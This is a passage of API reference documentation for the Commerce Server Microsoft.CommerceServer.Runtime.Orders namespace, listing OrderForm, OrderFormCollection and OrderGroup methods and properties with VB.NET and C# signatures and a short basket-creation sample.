[Visual Basic .NET]
Public Sub Clear( _
)
[C#]
public void Clear(
);

Remarks

This method delegates to the ClearItems method on the underlying order form object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Dispose (Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and optionally to release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the Microsoft .NET Framework Software Development Kit (SDK) documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on this collection from the underlying OrderForm COM Interop object.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

Th handle to a LineItemEnumerator instance.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.SetShippingAddress (String) Method (BCL)

Use this method to set the specified shipping address on the order form.

Definition

[Visual Basic .NET]
Public Sub SetShippingAddress( _
  ByVal shippingAddress As System.String _
)
[C#]
public void SetShippingAddress(
  System.String shippingAddress
);

Parameters

[Visual Basic .NET]
shippingAddress
The shipping address ID.
[C#]
shippingAddress
The shipping address ID.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm Properties (BCL)

Public Instance Properties

Property | Description
BillingAddress | Retrieve or set the billing_address_id key on the order form.
Dictionary | Retrieves the underlying IDictionary interop object.
DiscountsApplied | Gets a collection of the discounts applied for this order form.
HandlingTotal | Retrieves the value of the _cy_handling_total key on the order group instance.
Item(String) | Retrieves or sets the value of the specified order form property.
LineItems | Retrieves the line items collection associated with the order form.
Name | Retrieves the order form name.
ParentOrderGroup | Retrieves the order group owning this order form.
ShippingTotal | Retrieves the value of the _cy_shipping_total key from the underlying OrderForm COM Interop object.
SubTotal | Retrieves the value of the _cy_oadjust_subtotal key on the order group instance.
TaxIncluded | Retrieves the value of the _cy_tax_included key on the order group instance.
TaxTotal | Retrieves the value of the _cy_tax_total key on the order group instance.
Total | Retrieves the value of the _cy_total_total key on the order group instance.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.BillingAddress Property (BCL)

The BillingAddress property is a read/write string that retrieves or sets the billing_address_id key on the order form.

Definition

[Visual Basic .NET]
Public Property BillingAddress As System.String
[C#]
public System.String BillingAddress {get; set;}

Property Value

The billing_address_id key on the order form.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Dictionary Property (BCL)

The Dictionary property is a read-only IDictionary that gets the underlying IDictionary Interop object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Dictionary As IDictionary
[C#]
public IDictionary Dictionary {get;}

Property Value

The underlying IDictionary Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.DiscountsApplied Property (BCL)

The DiscountsApplied property is a read-only ContentItemCollection that gets a collection of the discounts applied for this order form.

Definition

[Visual Basic .NET]
Public ReadOnly Property DiscountsApplied As ContentItemCollection
[C#]
public ContentItemCollection DiscountsApplied {get;}

Property Value

The discounts applied for this order form.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.HandlingTotal Property (BCL)

The HandlingTotal property is a read-only decimal that retrieves the value of the _cy_handling_total key on the order group instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property HandlingTotal As System.Decimal
[C#]
public System.Decimal HandlingTotal {get;}

Property Value

The value of the _cy_handling_total key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Item Property (BCL)

The Item property is a read/write object that retrieves or sets the value of the specified order form property.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal keyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String keyName
) {get; set;}

Parameters

[Visual Basic .NET]
keyName
The name of the property.
[C#]
keyName
The name of the property.

Property Value

The value of the specified order form property

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.LineItems Property (BCL)

The LineItems property is a read-only LineItemsCollection that retrieves the line items collection associated with the order form.

Definition

[Visual Basic .NET]
Public ReadOnly Property LineItems As LineItemCollection
[C#]
public LineItemCollection LineItems {get;}

Property Value

The line items collection associated with the order form.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Name Property (BCL)

The Name property is a read-only string that retrieves the order form name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

The order form name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.ParentOrderGroup Property (BCL)

The ParentOrderGroup property is a read-only OrderGroup that retrieves the order group owning this line item.

Definition

[Visual Basic .NET]
Public ReadOnly Property ParentOrderGroup As OrderGroup
[C#]
public virtual OrderGroup ParentOrderGroup {get;}

Property Value

The order group that owns the line item.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.ShippingTotal Property (BCL)

The ShippingTotal property is a read-only decimal that retrieves the value of the _cy_shipping_total key from the underlying OrderForm COM interop object.

Definition

[Visual Basic .NET]
Public ReadOnly Property ShippingTotal As System.Decimal
[C#]
public System.Decimal ShippingTotal {get;}

Property Value

The _cy_shipping_total key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.SubTotal Property (BCL)

The SubTotal property is a read-only decimal that retrieves the value of the _cy_oadjust_subtotal key on the order group instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property SubTotal As System.Decimal
[C#]
public Decimal SubTotal {get;}

Property Value

The value of the _cy_oadjust_subtotal key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.TaxIncluded Property (BCL)

The TaxIncluded property is a read-only decimal that retrieves the value of the _cy_tax_included key on the order group instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property TaxIncluded As System.Decimal
[C#]
public System.Decimal TaxIncluded {get;}

Property Value

The value of the _cy_tax_included key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.TaxTotal Property (BCL)

The TaxTotal property is a read-only decimal that retrieves the value of the _cy_tax_total key on the order group instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property TaxTotal As System.Decimal
[C#]
public System.Decimal TaxTotal {get;}

Property Value

The value of the _cy_tax_total key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderForm.Total Property (BCL)

The Total property is a read-only decimal that retrieves the value of the _cy_total_total key on the order group instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property Total As System.Decimal
[C#]
public System.Decimal Total {get;}

Property Value

The value of the _cy_total_total key on the order group instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderFormCollection Class (BCL)

Encapsulates the collection of order forms on an order group object.

Public Instance Methods

Method | Description
Add(OrderForm) | Adds the specified order form to the collection.
Clear | Purges all the order forms from the collection.
CopyTo(Array, Int32) | Copies the elements of this collection into the specified array.
GetEnumerator | Retrieves an enumerator on this collection.
Remove(OrderForm) | Removes the specified order form from the collection.
Remove(String) | Removes the specified order form from the collection.

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns a value of False.
Item(Int32) | Retrieves the specified order form from the collection.
Item(String) | Retrieves the specified order form from the collection.
ParentOrderGroup | Retrieves the order group owning this order form.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the OrderFormCollection object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(OrderForm) | Adds the specified order form to the collection.
Clear | Purges all the order forms from the collection.
CopyTo(Array, Int32) | Copies the elements of this collection in to the specified array.
GetEnumerator | Retrieves an enumerator on this collection.
Remove(OrderForm) | Removes the specified order form from the collection.
Remove(String) | Removes the specified order form from the collection.


OrderFormCollection.Add (OrderForm) Method (BCL)

Use this method to add the specified order form to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal orderForm As OrderForm _
)
[C#]
public void Add(
  OrderForm orderForm
);

Parameters

[Visual Basic .NET]
orderForm
The OrderForm class instance to add to the collection.
[C#]
orderForm
The OrderForm class instance to add to the collection.

Remarks

This method internally invokes the AddItem method on the underlying OrderGroup COM interop object.

If you have two OrderGroup objects, OrderGroup1 and OrderGroup2, then you retrieve OrderForm1 from OrderGroup1. Then you call OrderGroup2.OrderForms.Add(OrderForm1), then OrderForm1 is cloned and copied to OrderGroup2. OrderForm1 is now modified to point to the copied instance in OrderGroup2.

Example

using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Orders;

private OrderGroup CreateBasket()
{
   CommerceContext csContext = CommerceContext.Current;

   // Get the user's user Id
   //Guid userID = new Guid(csContext.UserID);
   // For this sample, we'll generate a new Unique UserID:
   Guid userID = Guid.NewGuid();

   // GetBasket() will load a user's existing basket, if it exists,
   // otherwise it will create a new, empty basket
   Basket basket = csContext.OrderSystem.GetBasket(userID);

   // If this is a new basket, then create a default OrderForm
   if (basket.OrderForms.Count < 1)
      basket.OrderForms.Add(new OrderForm("default"));

   return basket;
}

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.Clear Method (BCL)

Use this method to purge all the order forms from the collection.

Definition

[Visual Basic .NET]
Public Sub Clear( _
)
[C#]
public void Clear(
);

Remarks

This method wraps the Clear method on the underlying OrderGroup COM Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the elements of this collection in to the specified array.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
Target buffer to copy data to.
index
The zero-based index of array at which copying starts.
[C#]
array
The target buffer to copy data to.
index
The zero-based index of array at which copying starts.

Implements

System.Collection.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on this collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

The handle to an OrderFormEnumerator class instance.

Implements

System.Collection.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.Remove (String) Method (BCL)

Use this method to remove the specified order form from the collection.

Definition

[Visual Basic .NET]
Public Sub Remove( _
  ByVal orderFormName As System.String _
)
[C#]
public void Remove(
  System.String orderFormName
);

Parameters

[Visual Basic .NET]
orderFormName
The name of the OrderForm object to remove from the collection.
[C#]
orderFormName
The name of the OrderForm object to remove from the collection.

Remarks

This method internally invokes the RemoveOrderForm method on the underlying OrderGroup COM Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.Remove (OrderForm) Method (BCL)

Use this method to remove the specified order form from the collection.

Definition

[Visual Basic .NET]
Public Sub Remove( _
  ByVal orderForm As OrderForm _
)
[C#]
public void Remove(
  OrderForm orderForm
);

Parameters

[Visual Basic .NET]
orderForm
The OrderForm object to remove from the collection.
[C#]
orderForm
The OrderForm object to remove from the collection.

Remarks

This method internally invokes the RemoveOrderForm method on the underlying OrderGroup COM Interop object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns a value of False.
Item(Int32) | Retrieves the specified order form from the collection.
Item(String) | Retrieves the specified order form from the collection.
ParentOrderGroup | Retrieves the order group owning this order form.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the OrderFormCollection object.


OrderFormCollection.Count Property (BCL)

The Count property is a read-only integer indicating the number of elements contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of elements contained in the collection.

Implements

System.Collection.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized. This implementation always returns False.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collection.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.Item(Int32) Property (BCL)

The Item property is a read-only indexer that allows for accessing a collection indexer by integer index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As OrderForm
[C#]
public OrderForm Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
The index of the order form.
[C#]
index
The index of the order form.

Property Value

The OrderForm object for the specified index.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.Item (String) Property (BCL)

The Item property is a read-only property that allows for accessing a collection indexer by the OrderForm object name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal name As System.String _
) As OrderForm
[C#]
public OrderForm Item(
  System.String name
) {get;}

Parameters

[Visual Basic .NET]
name
The name of the OrderForm object.
[C#]
name
The name of the OrderForm object.

Property Value

The OrderForm object for the specified index.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.ParentOrderGroup Property (BCL)

The ParentOrderGroup property is a read-only OrderGroup that retrieves the order group owning this line item.

Definition

[Visual Basic .NET]
Public ReadOnly Property ParentOrderGroup As OrderGroup
[C#]
public virtual OrderGroup ParentOrderGroup {get;}

Property Value

The OrderGroup object that owns the line item.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderFormCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used to synchronize access to ICollection. This implementation always returns the current instance of OrderFormCollection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The Object used to synchronize access to the collection.

Implements

System.Collection.ICollections

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


OrderGroup Class (BCL)

The OrderGroup class is the abstract base class for all OrderGroup types in the Commerce Server order system.

The OrderGroup class represents a purchasing unit, such as a basket, purchase order, order template, or any other user-defined type. The only way to programmatically differentiate these is by using the order_status_code top-level OrderGroup property. The Commerce Server.NET-based order system refines this approach by exposing the three fundamental OrderGroup object types, Basket, PurchaseOrder and OrderTemplate, as first-class entities derived from the OrderGroup abstract class.

Protected Instance Constructor

Constructor | Description
OrderGroup Constructor | Creates a new instance of the OrderGroup class.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetEnumerator | Retrieves the enumerator on this OrderGroup instance.
RunPipeline(PipelineInfo) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) | Runs the stages of the specified pipeline.

Public Instance Properties

Property | Description
Addresses | Retrieves the collection of addresses associated with the OrderGroup instance.
HandlingTotal | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name | Accesses the order group name.
OrderForms | Retrieves the OrderFormCollection associated with this OrderGroup object.
OrderGroupID | Retrieves the ID associated with the OrderGroup instance.
ShippingTotal | Retrieves the value of the ShippingTotal properties for the OrderForm objects in the OrderGroup instance.
StatusCode | Accesses the order group status code on this OrderGroup instance.
SubTotal | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal properties in this OrderGroup instance.
TaxIncluded | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal | Retrieves the total amount of tax from the OrderForm.TaxTotal properties in this OrderGroup instance.
Total | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling and tax.
Xml | Accesses the XML persistence format of the OrderGroup instance.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup Constructor (BCL)

Protected Instance Constructor

Constructor | Description
OrderGroup Constructor | Creates a new instance of the OrderGroup class.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup Constructor (BCL)

Use this method to create a new instance of the OrderGroup class.

Definition

[Visual Basic .NET]
Protected Sub New( _
)
[C#]
protected OrderGroup(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetEnumerator | Retrieves the enumerator on this OrderGroup instance.
RunPipeline(PipelineInfo) | Runs the stages of the specified pipeline.
RunPipeline(PipelineInfo, PipelineBase) | Runs the stages of the specified pipeline.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Dispose Method (BCL)

Use this method to release resources used by the object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the OrderGroup.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Dispose (Boolean) Method (BCL)

Use this method release the unmanaged resources used by this class and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this is called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this is called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see Microsoft .NET Framework Software Development Kit (SDK) documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator on this OrderGroup instance.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

The handle to the to the LineItemEnumerator instance.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.RunPipeline (PipelineInfo) Method (BCL)

Use this method to execute the stages of a specified pipeline.

Definition

[Visual Basic .NET]
Public Sub RunPipeline( _
  ByVal pipelineInfo As PipelineInfo _
)
[C#]
public void RunPipeline(
  PipelineInfo pipelineInfo
);

Parameters

[Visual Basic .NET]
pipelineInfo
The prespecified information used during pipeline processing.
[C#]
pipelineInfo
The prespecified information used during pipeline processing.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.RunPipeline (PipelineInfo, PipelineBase) Method (BCL)

Use this method to execute the stages of a specified pipeline.

Definition

[Visual Basic .NET]
Public Sub RunPipeline( _
  ByVal pipelineInfo As PipelineInfo, _
  ByVal pipeline As PipelineBase _
)
[C#]
public void RunPipeline(
  PipelineInfo pipelineInfo,
  PipelineBase pipeline
);

Parameters

[Visual Basic .NET]
pipelineInfo
The prespecified information used during pipeline processing.
pipeline
The pipeline to run on the OrderGroup object. Cannot be null.
[C#]
pipelineInfo
The prespecified information used during pipeline processing.
pipeline
The pipeline to run on the OrderGroup object. Cannot be null.

Remarks

Throws an ArgumentNullException if the pipeline parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup Properties (BCL)

Public Instance Properties

Property | Description
Addresses | Retrieves the collection of addresses associated with the OrderGroup instance.
HandlingTotal | Retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.
Item(String) | Retrieves and sets the value of a top-level property on the OrderGroup object.
LineItemCount | Retrieves the count of all the line items on all the forms in the OrderGroup instance.
Name | Accesses the order group name.
OrderForms | Retrieves the OrderFormCollection associated with this OrderGroup object.
OrderGroupID | Retrieves the ID associated with the OrderGroup instance.
ShippingTotal | Retrieves the value of the ShippingTotal properties for the OrderForm objects in the OrderGroup instance.
StatusCode | Accesses the order group status code on this OrderGroup instance.
SubTotal | Retrieves the subtotal for the order group instance from the OrderForm.Subtotal properties in this OrderGroup instance.
TaxIncluded | Retrieves the order group instance total, including tax from the OrderForm.TaxIncluded properties in this OrderGroup instance.
TaxTotal | Retrieves the total amount of tax from the OrderForm.TaxTotal properties in this OrderGroup instance.
Total | Retrieves the total amount for the OrderGroup instance. This amount includes shipping, handling, and tax.
Xml | Accesses the XML persistence format of the OrderGroup instance.

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Addresses Property (BCL)

The Address property is a read-only OrderAddressCollection that retrieves the collection of addresses associated with the OrderGroup object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Addresses As OrderAddressCollection
[C#]
public OrderAddressCollection Addresses {get;}

Property Value

The Address property retrieves the collection of addresses associated with the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.HandlingTotal Property (BCL)

The HandlingTotal property is a read-only decimal that retrieves OrderForm.HandlingTotal properties in the OrderGroup instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property HandlingTotal As System.Decimal
[C#]
public System.Decimal HandlingTotal {get;}

Property Value

The HandlingTotal property retrieves the OrderForm.HandlingTotal property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.Item Property (BCL)

The Item property is a read/write object that retrieves and sets the value of a top-level property on the OrderGroup object.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal keyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String keyName
) {get; set;}

Parameters

[Visual Basic .NET]
keyName
The name of the property to set or retrieve.
[C#]
keyName
The name of the property to set or retrieve.

Property Value

The value of the property to set or retrieve on the OrderGroup object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Orders

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


OrderGroup.LineItemCount Property (BCL)

The LineItemCount property is a read-only Int32 that retrieves the count of all the line items on all the OrderForm objects in the OrderGroup object.

Definition

[Visual Basic .NET]
Public ReadOnly Property LineItemCount As System.Int32
[C#]
public System.Int32 LineItemCount {get;}

Property Value

The count of all the line items on all the OrderForm objects in the OrderGroup object.

Requirements

